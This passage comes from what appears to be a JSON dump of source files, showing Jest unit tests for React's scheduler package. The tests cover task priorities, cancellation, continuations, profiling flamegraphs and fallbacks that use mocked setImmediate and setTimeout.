runtime.assertLog(['Post Task 0 [user-visible]']);\n    cancelCallback(task);\n    runtime.flushTasks();\n    runtime.assertLog([]);\n  });\n\n  it('an error in one task does not affect execution of other tasks', () => {\n    scheduleCallback(NormalPriority, () => {\n      throw Error('Oops!');\n    });\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Yay');\n    });\n    runtime.assertLog([\n      'Post Task 0 [user-visible]',\n      'Post Task 1 [user-visible]',\n    ]);\n    runtime.flushTasks();\n    runtime.assertLog(['Task 0 Fired', 'Error: Oops!', 'Task 1 Fired', 'Yay']);\n  });\n\n  it('schedule new task after queue has emptied', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n\n    runtime.assertLog(['Post Task 0 [user-visible]']);\n    runtime.flushTasks();\n    runtime.assertLog(['Task 0 Fired', 'A']);\n\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog(['Post Task 1 [user-visible]']);\n    runtime.flushTasks();\n    runtime.assertLog(['Task 1 Fired', 'B']);\n  });\n\n  it('schedule new task after a cancellation', () => {\n    const handle = scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n\n    runtime.assertLog(['Post Task 0 [user-visible]']);\n    cancelCallback(handle);\n\n    runtime.flushTasks();\n    runtime.assertLog([]);\n\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog(['Post Task 1 [user-visible]']);\n    runtime.flushTasks();\n    runtime.assertLog(['Task 1 Fired', 'B']);\n  });\n\n  it('schedules tasks at different priorities', () => {\n    scheduleCallback(ImmediatePriority, () => {\n      runtime.log('A');\n    });\n    scheduleCallback(UserBlockingPriority, () => {\n      runtime.log('B');\n    });\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('C');\n    });\n    scheduleCallback(LowPriority, () => {\n      runtime.log('D');\n    });\n    scheduleCallback(IdlePriority, () => {\n      runtime.log('E');\n    });\n    runtime.assertLog([\n      'Post Task 0 [user-blocking]',\n      'Post Task 1 [user-blocking]',\n      'Post Task 2 [user-visible]',\n      'Post Task 3 [user-visible]',\n      'Post Task 4 [background]',\n    ]);\n    runtime.flushTasks();\n    runtime.assertLog([\n      'Task 0 Fired',\n      'A',\n      'Task 1 Fired',\n      'B',\n      'Task 2 Fired',\n      'C',\n      'Task 3 Fired',\n      'D',\n      'Task 4 Fired',\n      'E',\n    ]);\n  });\n\n  it('yielding continues in a new task regardless of how much time is remaining', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Original Task');\n      runtime.log('shouldYield: ' + shouldYield());\n      runtime.log('Return a continuation');\n      return () => {\n        runtime.log('Continuation Task');\n      };\n    });\n    runtime.assertLog(['Post Task 0 [user-visible]']);\n\n    runtime.flushTasks();\n    runtime.assertLog([\n      'Task 0 Fired',\n      'Original Task',\n      // Immediately before returning a continuation, `shouldYield` returns\n      // false, which means there must be time remaining in the frame.\n      'shouldYield: false',\n      'Return a continuation',\n\n      // The continuation should be scheduled in a separate macrotask even\n      // though there's time remaining.\n      'Yield 1 [user-visible]',\n    ]);\n\n    // No time has elapsed\n    expect(performance.now()).toBe(0);\n\n    runtime.flushTasks();\n    runtime.assertLog(['Task 1 Fired', 'Continuation Task']);\n  });\n\n  describe('falls back to postTask for scheduling continuations when scheduler.yield is not available', () => {\n    beforeEach(() => {\n      delete global.scheduler.yield;\n    });\n\n    it('task with continuation', () => {\n      scheduleCallback(NormalPriority, () => {\n        runtime.log('A');\n        while (!Scheduler.unstable_shouldYield()) {\n          runtime.advanceTime(1);\n        }\n        runtime.log(`Yield at ${performance.now()}ms`);\n        return () => {\n          runtime.log('Continuation');\n        };\n      });\n      runtime.assertLog(['Post Task 0 [user-visible]']);\n\n      runtime.flushTasks();\n      runtime.assertLog([\n        'Task 0 Fired',\n        'A',\n        'Yield at 5ms',\n        'Post Task 1 [user-visible]',\n      ]);\n\n      runtime.flushTasks();\n      runtime.assertLog(['Task 1 Fired', 'Continuation']);\n    });\n\n    it('yielding continues in a new task regardless of how much time is remaining', () => {\n      scheduleCallback(NormalPriority, () => {\n        runtime.log('Original Task');\n        runtime.log('shouldYield: ' + shouldYield());\n        runtime.log('Return a continuation');\n        return () => {\n          runtime.log('Continuation Task');\n        };\n      });\n      runtime.assertLog(['Post Task 0 [user-visible]']);\n\n      runtime.flushTasks();\n      runtime.assertLog([\n        'Task 0 Fired',\n        'Original Task',\n        // Immediately before returning a continuation, `shouldYield` returns\n        // false, which means there must be time remaining in the frame.\n        'shouldYield: false',\n        'Return a continuation',\n\n        // The continuation should be scheduled in a separate macrotask even\n        // though there's time remaining.\n        'Post Task 1 [user-visible]',\n      ]);\n\n      // No time has elapsed\n      expect(performance.now()).toBe(0);\n\n      runtime.flushTasks();\n      runtime.assertLog(['Task 1 Fired', 'Continuation Task']);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/scheduler/src/__tests__/SchedulerProfiling-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n/* eslint-disable no-for-of-loops/no-for-of-loops */\n\n'use strict';\n\nlet Scheduler;\n// let runWithPriority;\nlet ImmediatePriority;\nlet UserBlockingPriority;\nlet NormalPriority;\nlet LowPriority;\nlet IdlePriority;\nlet scheduleCallback;\nlet cancelCallback;\n// let wrapCallback;\n// let getCurrentPriorityLevel;\n// let shouldYield;\nlet waitForAll;\nlet waitFor;\nlet waitForThrow;\n\nfunction priorityLevelToString(priorityLevel) {\n  switch (priorityLevel) {\n    case ImmediatePriority:\n      return 'Immediate';\n    case UserBlockingPriority:\n      return 'User-blocking';\n    case NormalPriority:\n      return 'Normal';\n    case LowPriority:\n      return 'Low';\n    case IdlePriority:\n      return 'Idle';\n    default:\n      return null;\n  }\n}\n\ndescribe('Scheduler', () => {\n  const {enableProfiling} = require('scheduler/src/SchedulerFeatureFlags');\n  if (!enableProfiling) {\n    // The tests in this suite only apply when profiling is on\n    it('profiling APIs are not available', () => {\n      Scheduler = require('scheduler');\n      expect(Scheduler.unstable_Profiling).toBe(null);\n    });\n    return;\n  }\n\n  beforeEach(() => {\n    jest.resetModules();\n    jest.mock('scheduler', () => require('scheduler/unstable_mock'));\n    Scheduler = require('scheduler');\n\n    // runWithPriority = Scheduler.unstable_runWithPriority;\n    ImmediatePriority = Scheduler.unstable_ImmediatePriority;\n    UserBlockingPriority = Scheduler.unstable_UserBlockingPriority;\n    NormalPriority = Scheduler.unstable_NormalPriority;\n    LowPriority = Scheduler.unstable_LowPriority;\n    IdlePriority = Scheduler.unstable_IdlePriority;\n    scheduleCallback = Scheduler.unstable_scheduleCallback;\n    cancelCallback = Scheduler.unstable_cancelCallback;\n    // wrapCallback = Scheduler.unstable_wrapCallback;\n    // getCurrentPriorityLevel = Scheduler.unstable_getCurrentPriorityLevel;\n    // shouldYield = Scheduler.unstable_shouldYield;\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    waitForThrow = InternalTestUtils.waitForThrow;\n  });\n\n  const TaskStartEvent = 1;\n  const TaskCompleteEvent = 2;\n  const TaskErrorEvent = 3;\n  const TaskCancelEvent = 4;\n  const TaskRunEvent = 5;\n  const TaskYieldEvent = 6;\n  const SchedulerSuspendEvent = 7;\n  const SchedulerResumeEvent = 8;\n\n  function stopProfilingAndPrintFlamegraph() {\n    const eventBuffer =\n      Scheduler.unstable_Profiling.stopLoggingProfilingEvents();\n    if (eventBuffer === null) {\n      return '(empty profile)';\n    }\n\n    const eventLog = new Int32Array(eventBuffer);\n\n    const tasks = new Map();\n    const mainThreadRuns = [];\n\n    let isSuspended = true;\n    let i = 0;\n    processLog: while (i < eventLog.length) {\n      const instruction = eventLog[i];\n      const time = eventLog[i + 1];\n      switch (instruction) {\n        case 0: {\n          break processLog;\n        }\n        case TaskStartEvent: {\n          const taskId = eventLog[i + 2];\n          const priorityLevel = eventLog[i + 3];\n          const task = {\n            id: taskId,\n            priorityLevel,\n            label: null,\n            start: time,\n            end: -1,\n            exitStatus: null,\n            runs: [],\n          };\n          tasks.set(taskId, task);\n          i += 4;\n          break;\n        }\n        case TaskCompleteEvent: {\n          if (isSuspended) {\n            throw Error('Task cannot Complete outside the work loop.');\n          }\n          const taskId = eventLog[i + 2];\n          const task = tasks.get(taskId);\n          if (task === undefined) {\n            throw Error('Task does not exist.');\n          }\n          task.end = time;\n          task.exitStatus = 'completed';\n          i += 3;\n          break;\n        }\n        case TaskErrorEvent: {\n          if (isSuspended) {\n            throw Error('Task cannot Error outside the work loop.');\n          }\n          const taskId = eventLog[i + 2];\n          const task = tasks.get(taskId);\n          if (task === undefined) {\n            throw Error('Task does not exist.');\n          }\n          task.end = time;\n          task.exitStatus = 'errored';\n          i += 3;\n          break;\n        }\n        case TaskCancelEvent: {\n          const taskId = eventLog[i + 2];\n          const task = tasks.get(taskId);\n          if (task === undefined) {\n            throw Error('Task does not exist.');\n          }\n          task.end = time;\n          task.exitStatus = 'canceled';\n          i += 3;\n          break;\n        }\n        case TaskRunEvent:\n        case TaskYieldEvent: {\n          if (isSuspended) {\n            throw Error('Task cannot Run or Yield outside the work loop.');\n          }\n          const taskId = eventLog[i + 2];\n          const task = tasks.get(taskId);\n          if (task === undefined) {\n            throw Error('Task does not exist.');\n          }\n          task.runs.push(time);\n          i += 4;\n          break;\n        }\n        case SchedulerSuspendEvent: {\n          if (isSuspended) {\n            throw Error('Scheduler cannot Suspend outside the work loop.');\n          }\n          isSuspended = true;\n          mainThreadRuns.push(time);\n          i += 3;\n          break;\n        }\n        case SchedulerResumeEvent: {\n          if (!isSuspended) {\n            throw Error('Scheduler cannot Resume inside the work loop.');\n          }\n          isSuspended = false;\n          mainThreadRuns.push(time);\n          i += 3;\n          break;\n        }\n        default: {\n          throw Error('Unknown instruction type: ' + instruction);\n        }\n      }\n    }\n\n    // Now we can render the tasks as a flamegraph.\n    const labelColumnWidth = 30;\n    // Scheduler event times are in microseconds\n    const microsecondsPerChar = 50000;\n\n    let result = '';\n\n    const mainThreadLabelColumn = '!!! Main thread              ';\n    let mainThreadTimelineColumn = '';\n    let isMainThreadBusy = true;\n    for (const time of mainThreadRuns) {\n      const index = time / microsecondsPerChar;\n      mainThreadTimelineColumn += (isMainThreadBusy ? '█' : '░').repeat(\n        index - mainThreadTimelineColumn.length,\n      );\n      isMainThreadBusy = !isMainThreadBusy;\n    }\n    result += `${mainThreadLabelColumn}│${mainThreadTimelineColumn}\\n`;\n\n    const tasksByPriority = Array.from(tasks.values()).sort(\n      (t1, t2) => t1.priorityLevel - t2.priorityLevel,\n    );\n\n    for (const task of tasksByPriority) {\n      let label = task.label;\n      if (label === undefined) {\n        label = 'Task';\n      }\n      let labelColumn = `Task ${task.id} [${priorityLevelToString(\n        task.priorityLevel,\n      )}]`;\n      labelColumn += ' '.repeat(labelColumnWidth - labelColumn.length - 1);\n\n      // Add empty space up until the start mark\n      let timelineColumn = ' '.repeat(task.start / microsecondsPerChar);\n\n      let isRunning = false;\n      for (const time of task.runs) {\n        const index = time / microsecondsPerChar;\n        timelineColumn += (isRunning ? '█' : '░').repeat(\n          index - timelineColumn.length,\n        );\n        isRunning = !isRunning;\n      }\n\n      const endIndex = task.end / microsecondsPerChar;\n      timelineColumn += (isRunning ? '█' : '░').repeat(\n        endIndex - timelineColumn.length,\n      );\n\n      if (task.exitStatus !== 'completed') {\n        timelineColumn += `🡐 ${task.exitStatus}`;\n      }\n\n      result += `${labelColumn}│${timelineColumn}\\n`;\n    }\n\n    return '\\n' + result;\n  }\n\n  it('creates a basic flamegraph', async () => {\n    Scheduler.unstable_Profiling.startLoggingProfilingEvents();\n\n    Scheduler.unstable_advanceTime(100);\n    scheduleCallback(\n      NormalPriority,\n      () => {\n        Scheduler.unstable_advanceTime(300);\n        Scheduler.log('Yield 1');\n        scheduleCallback(\n          UserBlockingPriority,\n          () => {\n            Scheduler.log('Yield 2');\n            Scheduler.unstable_advanceTime(300);\n          },\n          {label: 'Bar'},\n        );\n        Scheduler.unstable_advanceTime(100);\n        Scheduler.log('Yield 3');\n        return () => {\n          Scheduler.log('Yield 4');\n          Scheduler.unstable_advanceTime(300);\n        };\n      },\n      {label: 'Foo'},\n    );\n    await waitFor(['Yield 1', 'Yield 3']);\n    Scheduler.unstable_advanceTime(100);\n    await waitForAll(['Yield 2', 'Yield 4']);\n\n    expect(stopProfilingAndPrintFlamegraph()).toEqual(\n      `\n!!! Main thread              │██░░░░░░░░██░░░░░░░░░░░░\nTask 2 [User-blocking]       │        ░░░░██████\nTask 1 [Normal]              │  ████████░░░░░░░░██████\n`,\n    );\n  });\n\n  it('marks when a task is canceled', async () => {\n    Scheduler.unstable_Profiling.startLoggingProfilingEvents();\n\n    const task = scheduleCallback(NormalPriority, () => {\n      Scheduler.log('Yield 1');\n      Scheduler.unstable_advanceTime(300);\n      Scheduler.log('Yield 2');\n      return () => {\n        Scheduler.log('Continuation');\n        Scheduler.unstable_advanceTime(200);\n      };\n    });\n\n    await waitFor(['Yield 1', 'Yield 2']);\n    Scheduler.unstable_advanceTime(100);\n\n    cancelCallback(task);\n\n    Scheduler.unstable_advanceTime(1000);\n    await waitForAll([]);\n    expect(stopProfilingAndPrintFlamegraph()).toEqual(\n      `\n!!! Main thread              │░░░░░░██████████████████████\nTask 1 [Normal]              │██████░░🡐 canceled\n`,\n    );\n  });\n\n  it('marks when a task errors', async () => {\n    Scheduler.unstable_Profiling.startLoggingProfilingEvents();\n\n    scheduleCallback(NormalPriority, () => {\n      Scheduler.unstable_advanceTime(300);\n      throw Error('Oops');\n    });\n\n    await waitForThrow('Oops');\n    Scheduler.unstable_advanceTime(100);\n\n    Scheduler.unstable_advanceTime(1000);\n    await waitForAll([]);\n    expect(stopProfilingAndPrintFlamegraph()).toEqual(\n      `\n!!! Main thread              │░░░░░░██████████████████████\nTask 1 [Normal]              │██████🡐 errored\n`,\n    );\n  });\n\n  it('marks when multiple tasks are canceled', async () => {\n    Scheduler.unstable_Profiling.startLoggingProfilingEvents();\n\n    const task1 = scheduleCallback(NormalPriority, () => {\n      Scheduler.log('Yield 1');\n      Scheduler.unstable_advanceTime(300);\n      Scheduler.log('Yield 2');\n      return () => {\n        Scheduler.log('Continuation');\n        Scheduler.unstable_advanceTime(200);\n      };\n    });\n    const task2 = scheduleCallback(NormalPriority, () => {\n      Scheduler.log('Yield 3');\n      Scheduler.unstable_advanceTime(300);\n      Scheduler.log('Yield 4');\n      return () => {\n        Scheduler.log('Continuation');\n        Scheduler.unstable_advanceTime(200);\n      };\n    });\n\n    await waitFor(['Yield 1', 'Yield 2']);\n    Scheduler.unstable_advanceTime(100);\n\n    cancelCallback(task1);\n    cancelCallback(task2);\n\n    // Advance more time. This should not affect the size of the main\n    // thread row, since the Scheduler queue is empty.\n    Scheduler.unstable_advanceTime(1000);\n    await waitForAll([]);\n\n    // The main thread row should end when the callback is cancelled.\n    expect(stopProfilingAndPrintFlamegraph()).toEqual(\n      `\n!!! Main thread              │░░░░░░██████████████████████\nTask 1 [Normal]              │██████░░🡐 canceled\nTask 2 [Normal]              │░░░░░░░░🡐 canceled\n`,\n    );\n  });\n\n  it('handles cancelling a task that already finished', async () => {\n    Scheduler.unstable_Profiling.startLoggingProfilingEvents();\n\n    const task = scheduleCallback(NormalPriority, () => {\n      Scheduler.log('A');\n      Scheduler.unstable_advanceTime(1000);\n    });\n    await waitForAll(['A']);\n    cancelCallback(task);\n    expect(stopProfilingAndPrintFlamegraph()).toEqual(\n      `\n!!! Main thread              │░░░░░░░░░░░░░░░░░░░░\nTask 1 [Normal]              │████████████████████\n`,\n    );\n  });\n\n  it('handles cancelling a task multiple times', async () => {\n    Scheduler.unstable_Profiling.startLoggingProfilingEvents();\n\n    scheduleCallback(\n      NormalPriority,\n      () => {\n        Scheduler.log('A');\n        Scheduler.unstable_advanceTime(1000);\n      },\n      {label: 'A'},\n    );\n    Scheduler.unstable_advanceTime(200);\n    const task = scheduleCallback(\n      NormalPriority,\n      () => {\n        Scheduler.log('B');\n        Scheduler.unstable_advanceTime(1000);\n      },\n      {label: 'B'},\n    );\n    Scheduler.unstable_advanceTime(400);\n    cancelCallback(task);\n    cancelCallback(task);\n    cancelCallback(task);\n    await waitForAll(['A']);\n    expect(stopProfilingAndPrintFlamegraph()).toEqual(\n      `\n!!! Main thread              │████████████░░░░░░░░░░░░░░░░░░░░\nTask 1 [Normal]              │░░░░░░░░░░░░████████████████████\nTask 2 [Normal]              │    ░░░░░░░░🡐 canceled\n`,\n    );\n  });\n\n  it('handles delayed tasks', async () => {\n    Scheduler.unstable_Profiling.startLoggingProfilingEvents();\n    scheduleCallback(\n      NormalPriority,\n      () => {\n        Scheduler.unstable_advanceTime(1000);\n        Scheduler.log('A');\n      },\n      {\n        delay: 1000,\n      },\n    );\n    await waitForAll([]);\n\n    Scheduler.unstable_advanceTime(1000);\n\n    await waitForAll(['A']);\n\n    expect(stopProfilingAndPrintFlamegraph()).toEqual(\n      `\n!!! Main thread              │████████████████████░░░░░░░░░░░░░░░░░░░░\nTask 1 [Normal]              │                    ████████████████████\n`,\n    );\n  });\n\n  it('handles cancelling a delayed task', async () => {\n    Scheduler.unstable_Profiling.startLoggingProfilingEvents();\n    const task = scheduleCallback(NormalPriority, () => Scheduler.log('A'), {\n      delay: 1000,\n    });\n    cancelCallback(task);\n    await waitForAll([]);\n    expect(stopProfilingAndPrintFlamegraph()).toEqual(\n      `\n!!! Main thread              │\n`,\n    );\n  });\n\n  it('automatically stops profiling and warns if event log gets too big', async () => {\n    Scheduler.unstable_Profiling.startLoggingProfilingEvents();\n\n    spyOnDevAndProd(console, 'error').mockImplementation(() => {});\n\n    // Increase infinite loop guard limit\n    const originalMaxIterations = global.__MAX_ITERATIONS__;\n    global.__MAX_ITERATIONS__ = 120000;\n\n    let taskId = 1;\n    while (console.error.mock.calls.length === 0) {\n      taskId++;\n      const task = scheduleCallback(NormalPriority, () => {});\n      cancelCallback(task);\n      Scheduler.unstable_flushAll();\n    }\n\n    expect(console.error).toHaveBeenCalledTimes(1);\n    expect(console.error.mock.calls[0][0]).toBe(\n      \"Scheduler Profiling: Event log exceeded maximum size. Don't forget \" +\n        'to call `stopLoggingProfilingEvents()`.',\n    );\n\n    // Should automatically clear profile\n    expect(stopProfilingAndPrintFlamegraph()).toEqual('(empty profile)');\n\n    // Test that we can start a new profile later\n    Scheduler.unstable_Profiling.startLoggingProfilingEvents();\n    scheduleCallback(NormalPriority, () => {\n      Scheduler.unstable_advanceTime(1000);\n    });\n    await waitForAll([]);\n\n    // Note: The exact task id is not super important. That just how many tasks\n    // it happens to take before the array is resized.\n    expect(stopProfilingAndPrintFlamegraph()).toEqual(`\n!!! Main thread              │░░░░░░░░░░░░░░░░░░░░\nTask ${taskId} [Normal]          │████████████████████\n`);\n\n    global.__MAX_ITERATIONS__ = originalMaxIterations;\n  });\n});\n"
  },
  {
    "path": "packages/scheduler/src/__tests__/SchedulerSetImmediate-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet Scheduler;\nlet runtime;\nlet performance;\nlet cancelCallback;\nlet scheduleCallback;\nlet NormalPriority;\nlet UserBlockingPriority;\n\n// The Scheduler implementation uses browser APIs like `MessageChannel` and\n// `setTimeout` to schedule work on the main thread. Most of our tests treat\n// these as implementation details; however, the sequence and timing of these\n// APIs are not precisely specified, and can vary across browsers.\n//\n// To prevent regressions, we need the ability to simulate specific edge cases\n// that we may encounter in various browsers.\n//\n// This test suite mocks all browser methods used in our implementation. It\n// assumes as little as possible about the order and timing of events.\ndescribe('SchedulerDOMSetImmediate', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    runtime = installMockBrowserRuntime();\n    jest.unmock('scheduler');\n\n    performance = global.performance;\n    Scheduler = require('scheduler');\n    cancelCallback = Scheduler.unstable_cancelCallback;\n    scheduleCallback = Scheduler.unstable_scheduleCallback;\n    NormalPriority = Scheduler.unstable_NormalPriority;\n    UserBlockingPriority = Scheduler.unstable_UserBlockingPriority;\n  });\n\n  afterEach(() => {\n    delete global.performance;\n\n    if (!runtime.isLogEmpty()) {\n      throw Error('Test exited without clearing log.');\n    }\n  });\n\n  function installMockBrowserRuntime() {\n    let timerIDCounter = 0;\n    // let timerIDs = new Map();\n\n    let eventLog = [];\n\n    let currentTime = 0;\n\n    global.performance = {\n      now() {\n        return currentTime;\n      },\n    };\n\n    global.setTimeout = (cb, delay) => {\n      const id = timerIDCounter++;\n      log(`Set Timer`);\n      return id;\n    };\n    global.clearTimeout = id => {\n      // TODO\n    };\n\n    // Unused: we expect setImmediate to be preferred.\n    global.MessageChannel = function () {\n      return {\n        port1: {},\n        port2: {\n          postMessage() {\n            throw Error('Should be unused');\n          },\n        },\n      };\n    };\n\n    let pendingSetImmediateCallback = null;\n    global.setImmediate = function (cb) {\n      if (pendingSetImmediateCallback) {\n        throw Error('Message event already scheduled');\n      }\n      log('Set Immediate');\n      pendingSetImmediateCallback = cb;\n    };\n\n    function ensureLogIsEmpty() {\n      if (eventLog.length !== 0) {\n        throw Error('Log is not empty. Call assertLog before continuing.');\n      }\n    }\n    function advanceTime(ms) {\n      currentTime += ms;\n    }\n    function fireSetImmediate() {\n      ensureLogIsEmpty();\n      if (!pendingSetImmediateCallback) {\n        throw Error('No setImmediate was scheduled');\n      }\n      const cb = pendingSetImmediateCallback;\n      pendingSetImmediateCallback = null;\n      log('setImmediate Callback');\n      cb();\n    }\n    function log(val) {\n      eventLog.push(val);\n    }\n    function isLogEmpty() {\n      return eventLog.length === 0;\n    }\n    function assertLog(expected) {\n      const actual = eventLog;\n      eventLog = [];\n      expect(actual).toEqual(expected);\n    }\n    return {\n      advanceTime,\n      fireSetImmediate,\n      log,\n      isLogEmpty,\n      assertLog,\n    };\n  }\n\n  it('does not use setImmediate override', () => {\n    global.setImmediate = () => {\n      throw new Error('Should not throw');\n    };\n\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Task');\n    });\n    runtime.assertLog(['Set Immediate']);\n    runtime.fireSetImmediate();\n    runtime.assertLog(['setImmediate Callback', 'Task']);\n  });\n\n  it('task that finishes before deadline', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Task');\n    });\n    runtime.assertLog(['Set Immediate']);\n    runtime.fireSetImmediate();\n    runtime.assertLog(['setImmediate Callback', 'Task']);\n  });\n\n  it('task with continuation', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Task');\n      while (!Scheduler.unstable_shouldYield()) {\n        runtime.advanceTime(1);\n      }\n      runtime.log(`Yield at ${performance.now()}ms`);\n      return () => {\n        runtime.log('Continuation');\n      };\n    });\n    runtime.assertLog(['Set Immediate']);\n\n    runtime.fireSetImmediate();\n    runtime.assertLog([\n      'setImmediate Callback',\n      'Task',\n      gate(flags => (flags.www ? 'Yield at 10ms' : 'Yield at 5ms')),\n      'Set Immediate',\n    ]);\n\n    runtime.fireSetImmediate();\n    runtime.assertLog(['setImmediate Callback', 'Continuation']);\n  });\n\n  it('multiple tasks', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog(['Set Immediate']);\n    runtime.fireSetImmediate();\n    if (gate(flags => flags.enableAlwaysYieldScheduler)) {\n      runtime.assertLog(['setImmediate Callback', 'A', 'Set Immediate']);\n      runtime.fireSetImmediate();\n      runtime.assertLog(['setImmediate Callback', 'B']);\n    } else {\n      runtime.assertLog(['setImmediate Callback', 'A', 'B']);\n    }\n  });\n\n  it('multiple tasks at different priority', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n    scheduleCallback(UserBlockingPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog(['Set Immediate']);\n    runtime.fireSetImmediate();\n    if (gate(flags => flags.enableAlwaysYieldScheduler)) {\n      runtime.assertLog(['setImmediate Callback', 'B', 'Set Immediate']);\n      runtime.fireSetImmediate();\n      runtime.assertLog(['setImmediate Callback', 'A']);\n    } else {\n      runtime.assertLog(['setImmediate Callback', 'B', 'A']);\n    }\n  });\n\n  it('multiple tasks with a yield in between', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n      runtime.advanceTime(4999);\n    });\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog(['Set Immediate']);\n    runtime.fireSetImmediate();\n    runtime.assertLog([\n      'setImmediate Callback',\n      'A',\n      // Ran out of time. Post a continuation event.\n      'Set Immediate',\n    ]);\n    runtime.fireSetImmediate();\n    runtime.assertLog(['setImmediate Callback', 'B']);\n  });\n\n  it('cancels tasks', () => {\n    const task = scheduleCallback(NormalPriority, () => {\n      runtime.log('Task');\n    });\n    runtime.assertLog(['Set Immediate']);\n    cancelCallback(task);\n    runtime.assertLog([]);\n  });\n\n  it('throws when a task errors then continues in a new event', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Oops!');\n      throw Error('Oops!');\n    });\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('Yay');\n    });\n    runtime.assertLog(['Set Immediate']);\n\n    expect(() => runtime.fireSetImmediate()).toThrow('Oops!');\n    runtime.assertLog(['setImmediate Callback', 'Oops!', 'Set Immediate']);\n\n    runtime.fireSetImmediate();\n    if (gate(flags => flags.enableAlwaysYieldScheduler)) {\n      runtime.assertLog(['setImmediate Callback', 'Set Immediate']);\n      runtime.fireSetImmediate();\n      runtime.assertLog(['setImmediate Callback', 'Yay']);\n    } else {\n      runtime.assertLog(['setImmediate Callback', 'Yay']);\n    }\n  });\n\n  it('schedule new task after queue has emptied', () => {\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n\n    runtime.assertLog(['Set Immediate']);\n    runtime.fireSetImmediate();\n    runtime.assertLog(['setImmediate Callback', 'A']);\n\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog(['Set Immediate']);\n    runtime.fireSetImmediate();\n    runtime.assertLog(['setImmediate Callback', 'B']);\n  });\n\n  it('schedule new task after a cancellation', () => {\n    const handle = scheduleCallback(NormalPriority, () => {\n      runtime.log('A');\n    });\n\n    runtime.assertLog(['Set Immediate']);\n    cancelCallback(handle);\n\n    runtime.fireSetImmediate();\n    runtime.assertLog(['setImmediate Callback']);\n\n    scheduleCallback(NormalPriority, () => {\n      runtime.log('B');\n    });\n    runtime.assertLog(['Set Immediate']);\n    runtime.fireSetImmediate();\n    runtime.assertLog(['setImmediate Callback', 'B']);\n  });\n});\n\ntest('does not crash if setImmediate is undefined', () => {\n  jest.resetModules();\n  const originalSetImmediate = global.setImmediate;\n  try {\n    delete global.setImmediate;\n    jest.unmock('scheduler');\n    expect(() => {\n      require('scheduler');\n    }).not.toThrow();\n  } finally {\n    global.setImmediate = originalSetImmediate;\n  }\n});\n"
  },
  {
    "path": "packages/scheduler/src/__tests__/SchedulerSetTimeout-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet Scheduler;\nlet scheduleCallback;\nlet ImmediatePriority;\nlet UserBlockingPriority;\nlet NormalPriority;\n\ndescribe('SchedulerNoDOM', () => {\n  // Scheduler falls back to a naive implementation using setTimeout.\n  // This is only meant to be used for testing purposes, like with jest's fake timer API.\n  beforeEach(() => {\n    jest.resetModules();\n    jest.useFakeTimers();\n    delete global.setImmediate;\n    delete global.MessageChannel;\n    jest.unmock('scheduler');\n\n    Scheduler = require('scheduler');\n    scheduleCallback = Scheduler.unstable_scheduleCallback;\n    UserBlockingPriority = Scheduler.unstable_UserBlockingPriority;\n    NormalPriority = Scheduler.unstable_NormalPriority;\n  });\n\n  it('runAllTimers flushes all scheduled callbacks', () => {\n    const log = [];\n    scheduleCallback(NormalPriority, () => {\n      log.push('A');\n    });\n    scheduleCallback(NormalPriority, () => {\n      log.push('B');\n    });\n    scheduleCallback(NormalPriority, () => {\n      log.push('C');\n    });\n    expect(log).toEqual([]);\n    jest.runAllTimers();\n    expect(log).toEqual(['A', 'B', 'C']);\n  });\n\n  it('executes callbacks in order of priority', () => {\n    const log = [];\n\n    scheduleCallback(NormalPriority, () => {\n      log.push('A');\n    });\n    scheduleCallback(NormalPriority, () => {\n      log.push('B');\n    });\n    scheduleCallback(UserBlockingPriority, () => {\n      log.push('C');\n    });\n    scheduleCallback(UserBlockingPriority, () => {\n      log.push('D');\n    });\n\n    expect(log).toEqual([]);\n    jest.runAllTimers();\n    expect(log).toEqual(['C', 'D', 'A', 'B']);\n  });\n\n  it('handles errors', () => {\n    let log = [];\n\n    scheduleCallback(ImmediatePriority, () => {\n      log.push('A');\n      throw new Error('Oops A');\n    });\n    scheduleCallback(ImmediatePriority, () => {\n      log.push('B');\n    });\n    scheduleCallback(ImmediatePriority, () => {\n      log.push('C');\n      throw new Error('Oops C');\n    });\n\n    expect(() => jest.runAllTimers()).toThrow('Oops A');\n\n    expect(log).toEqual(['A']);\n\n    log = [];\n\n    // B and C flush in a subsequent event. That way, the second error is not\n    // swallowed.\n    expect(() => jest.runAllTimers()).toThrow('Oops C');\n    expect(log).toEqual(['B', 'C']);\n  });\n});\n\n// See: https://github.com/facebook/react/pull/13088\ndescribe('does not crash 